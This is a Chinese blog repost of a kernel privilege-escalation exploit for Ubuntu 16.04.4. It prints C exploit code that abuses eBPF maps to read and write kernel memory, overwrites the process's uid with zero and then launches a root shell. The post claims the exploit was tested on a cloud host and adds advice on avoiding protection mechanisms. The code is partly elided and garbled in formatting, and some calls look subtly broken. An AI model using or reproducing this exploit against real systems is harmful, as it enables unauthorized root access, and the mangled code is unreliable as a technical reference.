博客
关于我
2018年3月最新的Ubuntu 16.04.4漏洞提权代码
阅读量:585 次
发布时间:2019-03-12

本文共 2583 字,大约阅读时间需要 8 分钟。

Ubuntu 16.04.4内核提权漏洞利用代码sqrt

近日,安全研究者发现了Ubuntu 16.04.4内核中的一个重要漏洞,通过这个漏洞攻击者可以获得系统的提权权限。这段代码最初由Vitaly Nikolenko发布,并经过亲测在阿里云环境中成功使用。

代码解析

以下是该漏洞利用代码的详细解析:

  • 权值定义

    • PHYS_OFFSET 0xffff880000000000
    • CRED_OFFSET 0x5f8
    • UID_OFFSET 4
  • 代码结构

  • char __prog[] = "..."; // 内核提权程序int sockets[2];int mapfd, progfd;static uint64_t bpf_log_buf[LOG_BUF_SIZE];enum bpf_prog_type BPF_PROG_TYPE_SOCKET_FILTER = 21;enum bpf_map_type BPF_MAP_TYPE_ARRAY = 1;// 内核空间读写函数uint64_t __read(uint64_t addr) {    // 通过map_update_elem读取.data    return get_value(2);}// 内核空间写函数void __write(uint64_t addr, uint64_t val) {    // 通过map_update_elem写入.data    __update_elem(0, addr, val);}5. 漏洞利用流程```c// 初始化。mapfd用于创建内核空间映射,progfd用于加载提权程序static void prep(void) {    mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, __prog, 328, "GPL", 0);    // 配置socket绑定BPF程序    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {        __exit(strerror(errno));    }    if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)) < 0) {        __exit(strerror(errno));    }}// 提权逻辑static uint64_t __get_fp(void) {    __update_elem(1, 0, 0);    return get_value(2);}static uint64_t __get_sp(uint64_t addr) {    return addr & ~(0x4000-1);}static uint64_t get_value(int key) {    uint64_t value;    if (bpf_lookup_elem(key, value)) {        __exit(strerror(errno));    }    return value;}static void pwn(void) {    uint64_t fp, sp, task_struct, cred, uid, gid;    // 获取_FP指针    fp = __get_fp();    if (fp < PHYS_OFFSET) {        __exit("bogus fp");    }    // 获取_SP指针    sp = __get_sp(fp);    if (sp < PHYS_OFFSET) {        __exit("bogus sp");    }    // 获取任务结构指针    task_struct = __read(sp);    if (task_struct < PHYS_OFFSET) {        __exit("bogus task");    }    // 获取cred pointer    cred = __read(task_struct + CRED_OFFSET);    if (cred < PHYS_OFFSET) {        __exit("bogus cred");    }    // 获取uid和gid    uid = cred + UID_OFFSET;    if (uid < PHYS_OFFSET) {        __exit("bogus uid");    }    __write(uid, 0);    // detach shell    if (system("/bin/bash")) {         exit(EXIT_SUCCESS);    }    __exit("not vulnerable?");}
    1. 最终启动
    2. int main(int argc, char **argv) {    prep();    pwn();    return 0;}

      测试环境:

      • 使用Ubuntu 16.04.4内核版本:
        kernel: 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64

      代码工作流程:

      • 首先通过socketpair创建两个Unix域 socket。
      • 然后加载内核空间BPF程序,设置SO_ATTACH_BPF选项将其绑定到socket上。
      • 最后通过map_update_elem读取和写入内核空间映射,实现提权。

      需要注意:

    3. 该漏洞仅适用于特定内核版本,推荐只在测试环境中使用。
    4. 在实际使用前,请仔细检查目标系统的内核版本和是否存在相关修复。
    5. 注意防火墙设置和网络环境,避免被防护机制拦截。
    6. 如需更多详细信息,建议参考相关安全研究资料或官方文档。

    转载地址:http://gsbxz.baihongyu.com/

    你可能感兴趣的文章
    yarn出现“There are no scenarios ; must have at least one"
    查看>>
    spring-boot-2.0.3之redis缓存实现,不是你想的那样哦!
    查看>>
    httprunner学习23-加解密
    查看>>
    有道云笔记 同步到我的博客园
    查看>>
    李笑来必读书籍整理
    查看>>
    http头部 Expect
    查看>>
    Hadoop(十六)之使用Combiner优化MapReduce
    查看>>
    《机器学习Python实现_10_06_集成学习_boosting_gbdt分类实现》
    查看>>
    CoreCLR源码探索(八) JIT的工作原理(详解篇)
    查看>>
    IOS开发Swift笔记16-错误处理
    查看>>
    flume使用中的一些常见错误解决办法 (地址已经使用)
    查看>>
    andriod 开发错误记录
    查看>>
    C语言编译错误列表
    查看>>
    看明白这两种情况,才敢说自己懂跨链! | 喵懂区块链24期
    查看>>
    张一鸣:创业7年,我经历的5件事
    查看>>
    CentOS5 Linux编译PHP 报 mysql configure failed 错误解决办法
    查看>>
    《web安全入门》(四)前端开发基础Javascript
    查看>>
    pycharm新建文件夹时新建python package和新建directory有什么区别?
    查看>>
    python中列表 元组 字典 集合的区别
    查看>>
    python struct 官方文档
    查看>>